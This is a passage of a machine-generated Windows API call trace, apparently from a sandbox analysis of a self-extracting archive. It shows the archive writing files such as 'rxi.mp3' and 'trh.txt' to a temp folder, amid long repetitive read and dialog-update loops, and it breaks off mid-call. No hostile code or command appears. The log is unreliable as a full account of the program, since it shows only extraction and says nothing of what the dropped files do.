[0067.983] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.983] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.983] GetTickCount () returned 0x1f9d8 [0067.983] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.983] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.983] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.983] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.983] GetTickCount () returned 0x1f9d8 [0067.983] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.983] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.983] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.983] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.983] GetTickCount () returned 0x1f9d8 [0067.983] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.983] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.983] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.983] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.983] GetTickCount () returned 0x1f9d8 [0067.983] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.983] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.983] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.983] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.983] GetTickCount () returned 0x1f9d8 [0067.983] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.983] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.983] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.983] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.983] GetTickCount () returned 0x1f9d8 [0067.983] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.983] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.983] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.984] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.984] GetTickCount () returned 0x1f9d8 [0067.984] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.984] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.984] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.984] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.984] GetTickCount () returned 0x1f9d8 [0067.984] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.984] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.984] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.984] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.984] GetTickCount () returned 0x1f9d8 [0067.984] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.984] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.984] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.984] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.984] GetTickCount () returned 0x1f9d8 [0067.984] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.984] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x23d, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x23d, lpOverlapped=0x0) returned 1 [0067.985] GetTickCount () returned 0x1f9d8 [0067.985] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.985] SetFilePointer (in: hFile=0x1c, lDistanceToMove=855945, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd0f89 [0067.985] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0067.985] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0067.985] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0067.985] CloseHandle (hObject=0x138) returned 1 [0067.986] SetFileAttributesA (lpFileName="rxi.mp3", dwFileAttributes=0x20) returned 1 [0067.986] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd0f89 [0067.986] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0067.986] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0067.986] OemToCharA (in: pSrc="trh.txt", pDst=0x179cc0 | out: pDst="trh.txt") returned 1 [0067.986] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="trh.txt", cchCount2=1) returned 1 [0067.986] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="trh.txt", cchCount2=6) returned 1 [0067.986] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="trh.txt", cchCount2=-1) returned 1 [0067.986] SetFilePointer (in: hFile=0x1c, lDistanceToMove=855989, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd0fb5 [0067.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="trh.txt") returned 8 [0067.986] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41a6b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0067.986] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting trh.txt") returned 18 [0067.986] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting trh.txt") returned 1 [0067.986] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0067.986] OemToCharBuffA (in: lpszSrc="t", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="t") returned 1 [0067.986] CharToOemBuffA (in: lpszSrc="T", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="T") returned 1 [0067.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="trh.txt") returned 8 [0067.986] FindFirstFileW (in: lpFileName="trh.txt", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0067.987] GetLastError () returned 0x2 [0067.987] GetFileAttributesA (lpFileName="trh.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\trh.txt")) returned 0xffffffff [0067.987] CreateFileA (lpFileName="trh.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\trh.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0067.987] GetFileType (hFile=0x138) returned 0x1 [0067.987] SetFilePointer (in: hFile=0x138, lDistanceToMove=555, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x22b [0067.987] SetEndOfFile (hFile=0x138) returned 1 [0067.987] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0067.987] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1c2, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1c2, lpOverlapped=0x0) returned 1 [0067.987] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.987] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.987] GetTickCount () returned 0x1f9e8 [0067.987] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.987] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.987] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.987] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.987] GetTickCount () returned 0x1f9e8 [0067.987] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.987] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.987] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.988] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.988] GetTickCount () returned 0x1f9e8 [0067.988] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.988] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.988] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.988] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.988] GetTickCount () returned 0x1f9e8 [0067.988] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.988] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.988] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.988] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.988] GetTickCount () returned 0x1f9e8 [0067.988] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.988] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.988] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.988] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.988] GetTickCount () returned 0x1f9e8 [0067.988] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.988] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.988] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.988] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.988] GetTickCount () returned 0x1f9e8 [0067.988] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.988] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.988] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.988] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.988] GetTickCount () returned 0x1f9e8 [0067.988] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.988] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.988] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.988] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.988] GetTickCount () returned 0x1f9e8 [0067.988] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.988] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.988] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.988] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.988] GetTickCount () returned 0x1f9e8 [0067.988] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.988] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.988] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.988] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.988] GetTickCount () returned 0x1f9e8 [0067.988] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.988] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.988] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.988] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.988] GetTickCount () returned 0x1f9e8 [0067.988] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.988] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.988] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.989] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.989] GetTickCount () returned 0x1f9e8 [0067.989] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.989] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.989] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.989] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.989] GetTickCount () returned 0x1f9e8 [0067.989] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.989] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.989] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.989] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.989] GetTickCount () returned 0x1f9e8 [0067.989] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.989] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.989] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.989] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.989] GetTickCount () returned 0x1f9e8 [0067.989] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.989] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.989] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.989] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.989] GetTickCount () returned 0x1f9e8 [0067.989] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.989] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.989] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.989] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.989] GetTickCount () returned 0x1f9e8 [0067.989] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.989] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.989] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.989] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.989] GetTickCount () returned 0x1f9e8 [0067.989] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.989] ReadFile (in: 